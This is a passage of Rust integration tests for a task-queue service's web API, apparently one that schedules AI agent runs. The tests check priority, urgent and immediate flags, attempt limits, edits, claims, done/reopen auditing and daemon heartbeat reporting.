18636            q.put(&mut t).unwrap();
18637            for urgent in [true, false] {
18638                let response = f
18639                    .post(&route, Some(&format!("{{\"urgent\":{urgent}}}")))
18640                    .await;
18641                assert_eq!(response.status, 400, "{}", response.body);
18642                assert!(response.body.contains(status.as_str()));
18643                assert!(response.body.contains("queued or held"));
18644                assert!(!q.get(&t.id).unwrap().urgent);
18645            }
18646        }
18647        assert_eq!(
18648            f.post("/api/queue/missing/urgent", Some(r#"{"urgent":true}"#))
18649                .await
18650                .status,
18651            404
18652        );
18653    }
18654
18655    #[test]
18656    fn immediate_request_requires_a_boolean_and_rejects_unknown_fields() {
18657        for immediate in [true, false] {
18658            let body: ImmediateBody =
18659                serde_json::from_value(serde_json::json!({ "immediate": immediate })).unwrap();
18660            assert_eq!(body.immediate, immediate);
18661        }
18662        for input in [
18663            r#"{}"#,
18664            r#"{"immediate":null}"#,
18665            r#"{"immediate":"true"}"#,
18666            r#"{"immediate":1}"#,
18667            r#"{"immediate":true,"extra":false}"#,
18668        ] {
18669            assert!(
18670                serde_json::from_str::<ImmediateBody>(input).is_err(),
18671                "{input}"
18672            );
18673        }
18674    }
18675
18676    #[tokio::test]
18677    async fn immediate_api_updates_preserves_urgent_returns_admission_and_validates_tasks() {
18678        let f = Fixture::start().await;
18679        let q = f.queue();
18680        let mut t = Task::new(
18681            "immediate API".into(),
18682            "unchanged".into(),
18683            PathBuf::from("/repo/magi"),
18684            Source::Human,
18685        );
18686        t.attempts = 2;
18687        t.priority = 9;
18688        t.interrupt = true;
18689        t.urgent = true;
18690        t.hold_reason = Some("waiting for approval".into());
18691        for status in [TaskStatus::Queued, TaskStatus::Held] {
18692            t.status = status;
18693            q.put(&mut t).unwrap();
18694            for immediate in [true, true, false, false] {
18695                let response = f
18696                    .post(
18697                        &format!("/api/queue/{}/immediate", t.short()),
18698                        Some(&format!("{{\"immediate\":{immediate}}}")),
18699                    )
18700                    .await;
18701                assert_eq!(response.status, 200, "{}", response.body);
18702                let payload = response.json();
18703                assert_eq!(payload["immediate"], immediate);
18704                assert_eq!(payload["urgent"], true);
18705                if immediate {
18706                    assert_eq!(payload["admission"]["mode"], "immediate");
18707                    let label = payload["admission"]["label"].as_str().unwrap_or_default();
18708                    assert!(
18709                        !label.contains("claimed by another process"),
18710                        "mutate must drop its claim before computing admission: {payload}"
18711                    );
18712                    if status == TaskStatus::Held {
18713                        assert_eq!(label, "Immediate: waiting — held (waiting for approval)");
18714                    }
18715                }
18716                let saved = q.get(&t.id).unwrap();
18717                let mut before = serde_json::to_value(&t).unwrap();
18718                let mut after = serde_json::to_value(saved).unwrap();
18719                before["immediate"] = immediate.into();
18720                before.as_object_mut().unwrap().remove("updated_at");
18721                after.as_object_mut().unwrap().remove("updated_at");
18722                assert_eq!(after, before);
18723            }
18724        }
18725        let route = format!("/api/queue/{}/immediate", t.id);
18726        for body in [
18727            r#"{}"#,
18728            r#"{"immediate":null}"#,
18729            r#"{"immediate":"true"}"#,
18730            r#"{"immediate":1}"#,
18731            r#"{"immediate":true,"extra":false}"#,
18732            "{",
18733        ] {
18734            assert_eq!(f.post(&route, Some(body)).await.status, 400);
18735        }
18736        t.status = TaskStatus::Queued;
18737        q.put(&mut t).unwrap();
18738        let claim = q.claim(&t.id).unwrap();
18739        let response = f.post(&route, Some(r#"{"immediate":true}"#)).await;
18740        assert_eq!(response.status, 409, "{}", response.body);
18741        assert!(!q.get(&t.id).unwrap().immediate);
18742        drop(claim);
18743        for status in [
18744            TaskStatus::Running,
18745            TaskStatus::Done,
18746            TaskStatus::Failed,
18747            TaskStatus::Blocked,
18748            TaskStatus::Parked,
18749        ] {
18750            t.status = status;
18751            q.put(&mut t).unwrap();
18752            for immediate in [true, false] {
18753                let response = f
18754                    .post(&route, Some(&format!("{{\"immediate\":{immediate}}}")))
18755                    .await;
18756                assert_eq!(response.status, 400, "{}", response.body);
18757                assert!(response.body.contains(status.as_str()));
18758                assert!(response.body.contains("queued or held"));
18759                assert!(!q.get(&t.id).unwrap().immediate);
18760            }
18761        }
18762        assert_eq!(
18763            f.post(
18764                "/api/queue/missing/immediate",
18765                Some(r#"{"immediate":true}"#)
18766            )
18767            .await
18768            .status,
18769            404
18770        );
18771    }
18772
18773    #[tokio::test]
18774    async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
18775        let f = Fixture::start().await;
18776        let queue = f.queue();
18777        let mut older = Task::new(
18778            "filed first".to_owned(),
18779            "x".to_owned(),
18780            PathBuf::from("/repo/magi"),
18781            Source::Human,
18782        );
18783        older.id = "20260101-000001-aaaa".to_owned();
18784        let mut newer = Task::new(
18785            "filed second".to_owned(),
18786            "x".to_owned(),
18787            PathBuf::from("/repo/magi"),
18788            Source::Human,
18789        );
18790        newer.id = "20260101-000002-bbbb".to_owned();
18791        queue.put(&mut older).expect("file older");
18792        queue.put(&mut newer).expect("file newer");
18793
18794        // Equal priority: the newer task leads, the same order the old
18795        // newest-first `list()` already gave every equal-priority queue.
18796        let before = f.get("/api/queue").await.json();
18797        assert_eq!(before[0]["id"], newer.id);
18798        assert_eq!(before[1]["id"], older.id);
18799
18800        // Raising the *older* task is the meaningful case: it can only lead
18801        // now because its priority says so, not because it happens to be
18802        // newest.
18803        let raised = f
18804            .post(
18805                &format!("/api/queue/{}/priority", older.id),
18806                Some(r#"{"priority":10}"#),
18807            )
18808            .await;
18809        assert_eq!(raised.status, 200, "{}", raised.body);
18810        assert_eq!(raised.json()["priority"], 10);
18811
18812        let after = f.get("/api/queue").await.json();
18813        let names: Vec<&str> = after
18814            .as_array()
18815            .unwrap()
18816            .iter()
18817            .map(|t| t["id"].as_str().unwrap())
18818            .collect();
18819        // Highest priority first, which is the order next_runnable and
18820        // `magi task list` both use - GET /api/queue must agree with it
18821        // immediately, not just once the loop claims the task.
18822        assert_eq!(names[0], older.id, "the raised task now sorts first");
18823    }
18824
18825    #[tokio::test]
18826    async fn row_priorities_follow_dispatch_order_and_preserve_upgrade_lane() {
18827        let f = Fixture::start().await;
18828        let queue = f.queue();
18829        let mut tasks = Vec::new();
18830        for id in [
18831            "20260101-000001-aaaa",
18832            "20260101-000002-bbbb",
18833            "20260101-000003-cccc",
18834        ] {
18835            let mut task = Task::new(
18836                id.into(),
18837                "x".into(),
18838                PathBuf::from("/repo/magi"),
18839                Source::Human,
18840            );
18841            task.id = id.into();
18842            queue.put(&mut task).unwrap();
18843            tasks.push(task);
18844        }
18845        assert_eq!(
18846            queue.next_runnable().unwrap().id,
18847            tasks[0].id,
18848            "equal priorities use ascending id"
18849        );
18850        let route = format!("/api/queue/{}/priority", tasks[2].id);
18851        assert_eq!(f.post(&route, Some(r#"{"priority":1}"#)).await.status, 200);
18852        assert_eq!(queue.next_runnable().unwrap().id, tasks[2].id);
18853        tasks[1].start("upgrade-run".into());
18854        tasks[1].park("upgrade");
18855        tasks[1].record_pass_at(
18856            "upgrade-run",
18857            0,
18858            Some("2026-01-01T00:00:00Z".parse().unwrap()),
18859            1,
18860            Some(crate::run::ParkCause::Upgrade {
18861                from: "old".into(),
18862                to: None,
18863            }),
18864        );
18865        queue.put(&mut tasks[1]).unwrap();
18866        let rows = f.get("/api/queue").await.json();
18867        let upgrade = rows
18868            .as_array()
18869            .unwrap()
18870            .iter()
18871            .find(|row| row["id"] == tasks[1].id)
18872            .unwrap();
18873        assert_eq!(upgrade["upgrade_resume_at"], "2026-01-01T00:00:00Z");
18874        assert_eq!(queue.next_runnable().unwrap().id, tasks[1].id);
18875        tasks[2] = queue.get(&tasks[2].id).unwrap();
18876        tasks[2].start("running-run".into());
18877        queue.put(&mut tasks[2]).unwrap();
18878        assert_eq!(f.post(&route, Some(r#"{"priority":2}"#)).await.status, 400);
18879        assert_eq!(queue.get(&tasks[2].id).unwrap().priority, 1);
18880    }
18881
18882    #[tokio::test]
18883    async fn task_attempt_limit_api_persists_validates_and_refuses_claims() {
18884        let dir = TempDir::new().unwrap();
18885        let q = Queue::at(dir.path().join("queue"));
18886        let ui = Arc::new(Ui::new(
18887            q.clone(),
18888            Questions::at(dir.path().join("questions")),
18889            Talks::at(dir.path().join("talks")),
18890            dir.path().join("runs"),
18891            dir.path().to_path_buf(),
18892            dir.path().to_path_buf(),
18893        ));
18894        let mut t = Task::new(
18895            "budget".into(),
18896            "keep".into(),
18897            dir.path().into(),
18898            Source::Human,
18899        );
18900        t.attempts = 2;
18901        t.runs.push("prior-run".into());
18902        t.hold_manual(Some("waiting".into()));
18903        q.put(&mut t).unwrap();
18904        let change = |value| {
18905            queue_attempt_limit(
18906                State(ui.clone()),
18907                Path(t.id.clone()),
18908                Ok(Json(AttemptLimitBody {
18909                    attempt_limit: value,
18910                })),
18911            )
18912        };
18913        for value in [
18914            serde_json::json!(3),
18915            serde_json::Value::Null,
18916            serde_json::json!(1),
18917        ] {
18918            let response = change(value.clone()).await.unwrap();
18919            assert_eq!(
18920                serde_json::to_value(response.0).unwrap()["attempt_limit"],
18921                value
18922            );
18923            let saved = q.get(&t.id).unwrap();
18924            assert_eq!(
18925                serde_json::to_value(&saved).unwrap()["attempt_limit"],
18926                value
18927            );
18928            assert_eq!(saved.status, TaskStatus::Held);
18929            assert_eq!(saved.attempts, t.attempts);
18930            assert_eq!(saved.runs, t.runs);
18931            assert_eq!(saved.hold_reason, t.hold_reason);
18932            let detail = task_detail(State(ui.clone()), Path(t.id.clone()))
18933                .await
18934                .unwrap()
18935                .0;
18936            assert_eq!(detail.max_attempts, saved.effective_attempt_limit(2));
18937            assert_eq!(detail.flow.max_attempts, detail.max_attempts);
18938            let outcome = task_outcome(&saved, "prior-run", 2, |_| None);
18939            assert_eq!(outcome.max_attempts, detail.max_attempts);
18940        }
18941        for value in [
18942            serde_json::json!(0),
18943            serde_json::json!(-1),
18944            serde_json::json!(1.5),
18945            serde_json::json!("3"),
18946            serde_json::json!(true),
18947        ] {
18948            assert_eq!(
18949                change(value).await.err().unwrap().status,
18950                StatusCode::BAD_REQUEST
18951            );
18952        }
18953        assert!(serde_json::from_str::<AttemptLimitBody>("{}").is_err());
18954        let claim = q.claim(&t.id).unwrap();
18955        assert_eq!(
18956            change(serde_json::json!(4)).await.err().unwrap().status,
18957            StatusCode::CONFLICT
18958        );
18959        drop(claim);
18960        for status in [
18961            TaskStatus::Running,
18962            TaskStatus::Done,
18963            TaskStatus::Failed,
18964            TaskStatus::Blocked,
18965            TaskStatus::Parked,
18966        ] {
18967            let mut stored = q.get(&t.id).unwrap();
18968            stored.status = status;
18969            q.put(&mut stored).unwrap();
18970            assert_eq!(
18971                change(serde_json::json!(4)).await.err().unwrap().status,
18972                StatusCode::BAD_REQUEST
18973            );
18974            assert_eq!(q.get(&t.id).unwrap().attempt_limit.unwrap().get(), 1);
18975        }
18976        let mut stored = q.get(&t.id).unwrap();
18977        stored.status = TaskStatus::Queued;
18978        q.put(&mut stored).unwrap();
18979        let _ = change(serde_json::Value::Null).await.unwrap();
18980        assert_eq!(q.get(&t.id).unwrap().attempt_limit, None);
18981    }
18982
18983    #[tokio::test]
18984    async fn task_implementers_api_persists_and_refuses_claimed_or_finished_tasks() {
18985        let dir = TempDir::new().unwrap();
18986        let repo = dir.path().join("repo");
18987        std::fs::create_dir(&repo).unwrap();
18988        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).unwrap();
18989        let q = Queue::at(dir.path().join("queue"));
18990        let ui = Arc::new(Ui::new(
18991            q.clone(),
18992            Questions::at(dir.path().join("questions")),
18993            Talks::at(dir.path().join("talks")),
18994            dir.path().join("runs"),
18995            dir.path().to_path_buf(),
18996            repo.clone(),
18997        ));
18998        let mut t = Task::new(
18999            "seats".into(),
19000            "keep instruction".into(),
19001            repo,
19002            Source::Human,
19003        );
19004        t.runs.push("prior-run".into());
19005        t.hold_manual(Some("waiting".into()));
19006        q.put(&mut t).unwrap();
19007        let change = |count| {
19008            queue_implementers(
19009                State(ui.clone()),
19010                Path(t.id.clone()),
19011                Ok(Json(ImplementersBody {
19012                    implementers: count,
19013                })),
19014            )
19015        };
19016        for count in [2, 1, 2] {
19017            let response = change(count).await.unwrap();
19018            assert_eq!(response.0.task.implementers(), Some(usize::from(count)));
19019            let saved = q.get(&t.id).unwrap();
19020            assert_eq!(saved.implementers(), Some(usize::from(count)));
19021            assert_eq!(saved.runs, t.runs);
19022            assert_eq!(saved.instruction, t.instruction);
19023        }
19024        for count in [0, 4] {
19025            assert_eq!(
19026                change(count).await.err().unwrap().status,
19027                StatusCode::BAD_REQUEST
19028            );
19029        }
19030        assert!(serde_json::from_str::<ImplementersBody>(r#"{"implementers":256}"#).is_err());
19031        let claim = q.claim(&t.id).unwrap();
19032        assert_eq!(change(1).await.err().unwrap().status, StatusCode::CONFLICT);
19033        drop(claim);
19034        for status in [
19035            TaskStatus::Running,
19036            TaskStatus::Done,
19037            TaskStatus::Failed,
19038            TaskStatus::Blocked,
19039            TaskStatus::Parked,
19040        ] {
19041            let mut stored = q.get(&t.id).unwrap();
19042            stored.status = status;
19043            q.put(&mut stored).unwrap();
19044            assert_eq!(
19045                change(1).await.err().unwrap().status,
19046                StatusCode::BAD_REQUEST
19047            );
19048            assert_eq!(q.get(&t.id).unwrap().implementers(), Some(2));
19049        }
19050    }
19051
19052    #[tokio::test]
19053    async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
19054        let f = Fixture::start().await;
19055        let queue = f.queue();
19056        let mut task = Task::new(
19057            "in flight".to_owned(),
19058            "x".to_owned(),
19059            PathBuf::from("/repo/magi"),
19060            Source::Human,
19061        );
19062        task.start("20260902-140502-bbbb".to_owned());
19063        queue.put(&mut task).expect("file the task");
19064
19065        let res = f
19066            .post(
19067                &format!("/api/queue/{}/priority", task.id),
19068                Some(r#"{"priority":9}"#),
19069            )
19070            .await;
19071        assert_eq!(res.status, 400, "{}", res.body);
19072        assert!(
19073            res.json()["error"]
19074                .as_str()
19075                .is_some_and(|e| e.contains("running")),
19076            "{}",
19077            res.body
19078        );
19079        assert_eq!(
19080            queue.get(&task.id).expect("reload").priority,
19081            0,
19082            "the refused write must not partially apply"
19083        );
19084    }
19085
19086    #[tokio::test]
19087    async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
19088        let f = Fixture::start().await;
19089        let queue = f.queue();
19090        let mut task = Task::new(
19091            "old title".to_owned(),
19092            "old instruction".to_owned(),
19093            PathBuf::from("/repo/magi"),
19094            Source::Agent {
19095                run: "20260101-000000-beef".to_owned(),
19096                node: "implement".to_owned(),
19097            },
19098        );
19099        task.runs.push("20260101-000000-beef".to_owned());
19100        queue.put(&mut task).expect("file the task");
19101        let created_at = task.created_at;
19102
19103        let edited = f
19104            .post(
19105                &format!("/api/queue/{}/edit", task.id),
19106                Some(r#"{"title":"new title","instruction":"new instruction"}"#),
19107            )
19108            .await;
19109        assert_eq!(edited.status, 200, "{}", edited.body);
19110        let body = edited.json();
19111        assert_eq!(body["title"], "new title");
19112        assert_eq!(body["instruction"], "new instruction");
19113        assert_eq!(body["id"], task.id, "editing must not mint a new id");
19114        assert_eq!(body["created_at"], created_at.to_string());
19115        assert_eq!(
19116            body["source"]["kind"], "agent",
19117            "editing a task an agent filed must not turn it human: {body}"
19118        );
19119        assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
19120
19121        let reloaded = queue.get(&task.id).expect("reload");
19122        assert_eq!(reloaded.title, "new title");
19123        assert_eq!(reloaded.instruction, "new instruction");
19124    }
19125
19126    #[tokio::test]
19127    async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
19128        // The judge is an agent now: a repo whose only agent answers
19129        // "duplicate" stands in for it, so the refusal is the judge's.
19130        let tmp = TempDir::new().expect("tempdir");
19131        let repo = tmp.path().join("repo");
19132        std::fs::create_dir_all(&repo).expect("repo dir");
19133        let judge = MOCK_AGENT_TOML.replace(
19134            "printf ok",
19135            r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
19136        );
19137        std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
19138        let f = Fixture::with_repo(repo.clone()).await;
19139        let queue = f.queue();
19140        let mut owner = Task::new(
19141            "owner".to_owned(),
19142            "review it".to_owned(),
19143            repo.clone(),
19144            Source::Human,
19145        );
19146        owner.review_branch = Some("magi/ab12/A".to_owned());
19147        queue.put(&mut owner).expect("file the owner");
19148        let mut task = Task::new(
19149            "draft".to_owned(),
19150            "old".to_owned(),
19151            repo.clone(),
19152            Source::Human,
19153        );
19154        queue.put(&mut task).expect("file the draft");
19155        let url = format!("/api/queue/{}/edit", task.id);
19156
19157        let refused = f
19158            .post(
19159                &url,
19160                Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
19161            )
19162            .await;
19163        assert_eq!(refused.status, 409, "{}", refused.body);
19164        let msg = refused.json()["error"]
19165            .as_str()
19166            .unwrap_or_default()
19167            .to_owned();
19168        assert!(
19169            msg.contains("magi/ab12/A") && msg.contains("force"),
19170            "{msg}"
19171        );
19172        assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
19173
19174        let forced = f
19175            .post(
19176                &url,
19177                Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
19178            )
19179            .await;
19180        assert_eq!(forced.status, 200, "{}", forced.body);
19181    }
19182
19183    #[tokio::test]
19184    async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
19185        let f = Fixture::start().await;
19186        let queue = f.queue();
19187        let mut task = Task::new(
19188            "in flight".to_owned(),
19189            "do not touch".to_owned(),
19190            PathBuf::from("/repo/magi"),
19191            Source::Human,
19192        );
19193        task.start("20260902-140502-bbbb".to_owned());
19194        queue.put(&mut task).expect("file the task");
19195
19196        let res = f
19197            .post(
19198                &format!("/api/queue/{}/edit", task.id),
19199                Some(r#"{"title":"x","instruction":"y"}"#),
19200            )
19201            .await;
19202        assert_eq!(res.status, 400, "{}", res.body);
19203        assert!(
19204            res.json()["error"]
19205                .as_str()
19206                .is_some_and(|e| e.contains("running")),
19207            "{}",
19208            res.body
19209        );
19210        assert_eq!(
19211            queue.get(&task.id).expect("reload").instruction,
19212            "do not touch",
19213            "the refused edit must not change the file"
19214        );
19215    }
19216
19217    #[tokio::test]
19218    async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
19219        let f = Fixture::start().await;
19220        let queue = f.queue();
19221        let mut task = Task::new(
19222            "busy".to_owned(),
19223            "Running right now".to_owned(),
19224            PathBuf::from("/repo/magi"),
19225            Source::Human,
19226        );
19227        queue.put(&mut task).expect("file the task");
19228        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
19229
19230        let priority = f
19231            .post(
19232                &format!("/api/queue/{}/priority", task.id),
19233                Some(r#"{"priority":9}"#),
19234            )
19235            .await;
19236        assert_eq!(priority.status, 409, "{}", priority.body);
19237
19238        let edit = f
19239            .post(
19240                &format!("/api/queue/{}/edit", task.id),
19241                Some(r#"{"title":"x","instruction":"y"}"#),
19242            )
19243            .await;
19244        assert_eq!(edit.status, 409, "{}", edit.body);
19245    }
19246
19247    #[tokio::test]
19248    async fn web_completion_distinguishes_missing_and_claimed_tasks() {
19249        let f = Fixture::start().await;
19250        let queue = f.queue();
19251        let mut task = Task::new(
19252            "claimed".into(),
19253            "leave unchanged".into(),
19254            f.home.path().into(),
19255            Source::Human,
19256        );
19257        queue.put(&mut task).unwrap();
19258        let _claim = queue.claim(&task.id).unwrap();
19259        for (action, body) in [("done", None), ("reopen", Some(r#"{"reason":"inspect"}"#))] {
19260            let missing = f.post(&format!("/api/queue/missing/{action}"), body).await;
19261            assert_eq!(missing.status, 404, "{}", missing.body);
19262            assert!(missing.json()["error"].as_str().unwrap().contains("task"));
19263
19264            let busy = f
19265                .post(&format!("/api/queue/{}/{action}", task.short()), body)
19266                .await;
19267            assert_eq!(busy.status, 409, "{}", busy.body);
19268            assert!(busy.json()["error"].as_str().unwrap().contains("claimed"));
19269        }
19270        let unchanged = queue.get(&task.id).unwrap();
19271        assert_eq!(unchanged.status, TaskStatus::Queued);
19272        assert!(unchanged.completion_history.is_empty());
19273    }
19274
19275    #[test]
19276    fn web_completion_reports_a_stale_commit_as_a_conflict() {
19277        let home = TempDir::new().unwrap();
19278        let queue = Queue::at(home.path().join("queue"));
19279        let mut current = Task::new(
19280            "stale".into(),
19281            "original".into(),
19282            home.path().into(),
19283            Source::Human,
19284        );
19285        queue.put(&mut current).unwrap();
19286        let expected = current.clone();
19287        current.instruction = "updated".into();
19288        queue.put(&mut current).unwrap();
19289
19290        let mut decision = expected.clone();
19291        decision.status = TaskStatus::Done;
19292        let error = queue
19293            .commit_completion(&mut decision, &expected)
19294            .unwrap_err();
19295        assert_eq!(ApiError::completion(error).status, StatusCode::CONFLICT);
19296        let saved = queue.get(&current.id).unwrap();
19297        assert_eq!(saved.status, TaskStatus::Queued);
19298        assert_eq!(saved.instruction, "updated");
19299    }
19300
19301    #[tokio::test]
19302    async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
19303        let f = Fixture::start().await;
19304        let queue = f.queue();
19305        let mut task = Task::new(
19306            "shipped by hand".to_owned(),
19307            "merged outside the loop".to_owned(),
19308            PathBuf::from("/repo/magi"),
19309            Source::Agent {
19310                run: "20260101-000000-b455".to_owned(),
19311                node: "implement".to_owned(),
19312            },
19313        );
19314        task.runs.push("20260101-000000-b455".to_owned());
19315        task.runs.push("20260101-000000-9af4".to_owned());
19316        queue.put(&mut task).expect("file the task");
19317        let created_at = task.created_at;
19318
19319        let done = f
19320            .post(
19321                &format!("/api/queue/{}/done", task.id),
19322                Some(r#"{"discard":true,"reason":"owner cancelled retained work"}"#),
19323            )
19324            .await;
19325        assert_eq!(done.status, 200, "{}", done.body);
19326        assert_eq!(done.json()["status_str"], "done");
19327
19328        let reloaded = queue.get(&task.id).expect("a done task is still on disk");
19329        assert_eq!(
19330            reloaded.runs,
19331            ["20260101-000000-b455", "20260101-000000-9af4"]
19332        );
19333        assert_eq!(
19334            reloaded.source,
19335            Source::Agent {
19336                run: "20260101-000000-b455".to_owned(),
19337                node: "implement".to_owned(),
19338            }
19339        );
19340        assert_eq!(reloaded.created_at, created_at);
19341        let event = reloaded
19342            .completion_history
19343            .last()
19344            .expect("completion audit");
19345        assert_eq!(event.actor, crate::queue::CompletionActor::Web);
19346        assert!(event.discard);
19347        assert_eq!(
19348            event.reason.as_deref(),
19349            Some("owner cancelled retained work")
19350        );
19351        let detail = f.get(&format!("/api/queue/{}", task.id)).await;
19352        assert_eq!(
19353            detail.json()["completion_history"][0]["occurrence"],
19354            event.occurrence
19355        );
19356    }
19357
19358    #[tokio::test]
19359    async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
19360        // Explicit discard may close held work without a release; the current
19361        // hold clears while the completion audit preserves its prior status.
19362        let f = Fixture::start().await;
19363        let queue = f.queue();
19364        let mut task = Task::new(
19365            "landed while held".to_owned(),
19366            "x".to_owned(),
19367            PathBuf::from("/repo/magi"),
19368            Source::Human,
19369        );
19370        task.hold_manual(Some("waiting on 3ed9".to_owned()));
19371        queue.put(&mut task).expect("file the held task");
19372
19373        let done = f
19374            .post(
19375                &format!("/api/queue/{}/done", task.id),
19376                Some(r#"{"discard":true,"reason":"no longer needed"}"#),
19377            )
19378            .await;
19379        assert_eq!(done.status, 200, "{}", done.body);
19380        assert_eq!(done.json()["status_str"], "done");
19381        assert!(
19382            done.json()["hold_reason"].is_null(),
19383            "a done task cannot still be waiting on something: {}",
19384            done.body
19385        );
19386    }
19387
19388    #[tokio::test]
19389    async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
19390        // `queue_done` is the phone's way to close a task the loop never
19391        // settled itself - after confirming a manual GitHub merge, say - and
19392        // that is just as much "this task's story is over" as the loop's own
19393        // `Merged`/`Ready` path, so it must trigger the same cleanup.
19394        let f = Fixture::start().await;
19395        let queue = f.queue();
19396        let runs = f.runs();
19397        write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
19398        // The last attempt has to have actually landed for the earlier one
19399        // to count as superseded - see `done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed`
19400        // for the case where it didn't.
19401        write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
19402
19403        let mut task = Task::new(
19404            "landed by hand".to_owned(),
19405            "x".to_owned(),
19406            PathBuf::from("/repo/magi"),
19407            Source::Human,
19408        );
19409        task.runs.push("20260101-000000-doa1".to_owned());
19410        task.runs.push("20260101-000000-doa2".to_owned());
19411        queue.put(&mut task).expect("file the task");
19412
19413        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
19414        assert_eq!(done.status, 200, "{}", done.body);
19415
19416        let reloaded_run = read_run(&runs, "20260101-000000-doa1")
19417            .expect("run still on disk under this fixture's own home");
19418        assert_eq!(
19419            reloaded_run.status,
19420            RunStatus::Superseded,
19421            "closing the task by hand must relabel the earlier blocked attempt exactly \
19422             like the loop's own settle path does"
19423        );
19424    }
19425
19426    #[tokio::test]
19427    async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
19428        // Intentional discard preserves unsuccessful runs as unsuccessful:
19429        // closing the task does not claim they were delivered or superseded.
19430        let f = Fixture::start().await;
19431        let queue = f.queue();
19432        let runs = f.runs();
19433        write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
19434        write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
19435
19436        let mut task = Task::new(
19437            "closed with nothing actually landed".to_owned(),
19438            "x".to_owned(),
19439            PathBuf::from("/repo/magi"),
19440            Source::Human,
19441        );
19442        task.runs.push("20260101-000000-dob1".to_owned());
19443        task.runs.push("20260101-000000-dob2".to_owned());
19444        queue.put(&mut task).expect("file the task");
19445
19446        let done = f
19447            .post(
19448                &format!("/api/queue/{}/done", task.id),
19449                Some(r#"{"discard":true,"reason":"stop this work"}"#),
19450            )
19451            .await;
19452        assert_eq!(done.status, 200, "{}", done.body);
19453
19454        let reloaded_run = read_run(&runs, "20260101-000000-dob1")
19455            .expect("run still on disk under this fixture's own home");
19456        assert_eq!(
19457            reloaded_run.status,
19458            RunStatus::Blocked,
19459            "the last recorded attempt never landed, so the earlier one must not be \
19460             relabelled as superseded by it"
19461        );
19462    }
19463
19464    #[tokio::test]
19465    async fn web_completion_requires_discard_and_reopens_to_held_with_an_audit() {
19466        let f = Fixture::start().await;
19467        let queue = f.queue();
19468        let mut task = Task::new(
19469            "unstarted".into(),
19470            "keep its history".into(),
19471            PathBuf::from("/repo/magi"),
19472            Source::Human,
19473        );
19474        write_run(&f.runs(), "20260101-000000-aud1", RunStatus::Failed);
19475        task.runs.push("20260101-000000-aud1".into());
19476        queue.put(&mut task).unwrap();
19477        let path = format!("/api/queue/{}/done", task.id);
19478        let refused = f.post(&path, None).await;
19479        assert_eq!(refused.status, 400, "{}", refused.body);
19480        let blank = f
19481            .post(&path, Some(r#"{"discard":true,"reason":" "}"#))
19482            .await;
19483        assert_eq!(blank.status, 400, "{}", blank.body);
19484        assert!(blank.body.contains("--discard requires a non-empty reason"));
19485        assert_eq!(queue.get(&task.id).unwrap().status, TaskStatus::Queued);
19486        assert!(queue.get(&task.id).unwrap().completion_history.is_empty());
19487        let closed = f
19488            .post(
19489                &path,
19490                Some(r#"{"discard":true,"reason":"owner stopped work"}"#),
19491            )
19492            .await;
19493        assert_eq!(closed.status, 200, "{}", closed.body);
19494        let reopen_path = format!("/api/queue/{}/reopen", task.id);
19495        let no_reason = f.post(&reopen_path, Some(r#"{"reason":" "}"#)).await;
19496        assert_eq!(no_reason.status, 400, "{}", no_reason.body);
19497        let reopened = f
19498            .post(&reopen_path, Some(r#"{"reason":"premature closure"}"#))
19499            .await;
19500        assert_eq!(reopened.status, 200, "{}", reopened.body);
19501        let saved = queue.get(&task.id).unwrap();
19502        assert_eq!(saved.status, TaskStatus::Held);
19503        assert_eq!(saved.completion_history.len(), 2);
19504        let event = &saved.completion_history[1];
19505        assert_eq!(event.action, crate::queue::CompletionAction::Reopen);
19506        assert_eq!(event.actor, crate::queue::CompletionActor::Web);
19507        assert_eq!(event.prior_status, TaskStatus::Done);
19508        assert_eq!(event.reason.as_deref(), Some("premature closure"));
19509    }
19510
19511    #[tokio::test]
19512    async fn unknown_ids_are_json_not_found_on_both_stores() {
19513        let f = Fixture::start().await;
19514
19515        let run = f.get("/api/runs/nosuchrun").await;
19516        let task = f.post("/api/queue/nosuchtask/hold", None).await;
19517
19518        assert_eq!(run.status, 404);
19519        assert_eq!(task.status, 404);
19520        assert!(
19521            run.json()["error"]
19522                .as_str()
19523                .is_some_and(|e| e.contains("run")),
19524            "the error names what was not found: {}",
19525            run.body
19526        );
19527        assert!(
19528            task.json()["error"]
19529                .as_str()
19530                .is_some_and(|e| e.contains("task")),
19531            "the error names what was not found: {}",
19532            task.body
19533        );
19534    }
19535
19536    #[tokio::test]
19537    async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
19538        let f = Fixture::start().await;
19539
19540        let missing = f.get("/api/health").await.json();
19541        assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
19542
19543        write_daemon(
19544            f.home.path(),
19545            Timestamp::now() - jiff::SignedDuration::from_secs(60),
19546        );
19547        let stale = f.get("/api/health").await.json();
19548        assert_eq!(
19549            stale["daemon"]["running"], false,
19550            "a minute without a heartbeat is a dead daemon, not a busy one"
19551        );
19552        assert!(
19553            stale["daemon"]["stale_for_secs"]
19554                .as_i64()
19555                .is_some_and(|s| s >= 55),
19556            "staleness is reported so the UI can say how long: {stale}"
19557        );
19558
19559        write_daemon(f.home.path(), Timestamp::now());
19560        let fresh = f.get("/api/health").await.json();
19561        assert_eq!(fresh["daemon"]["running"], true);
19562        assert_eq!(fresh["daemon"]["idle"], false);
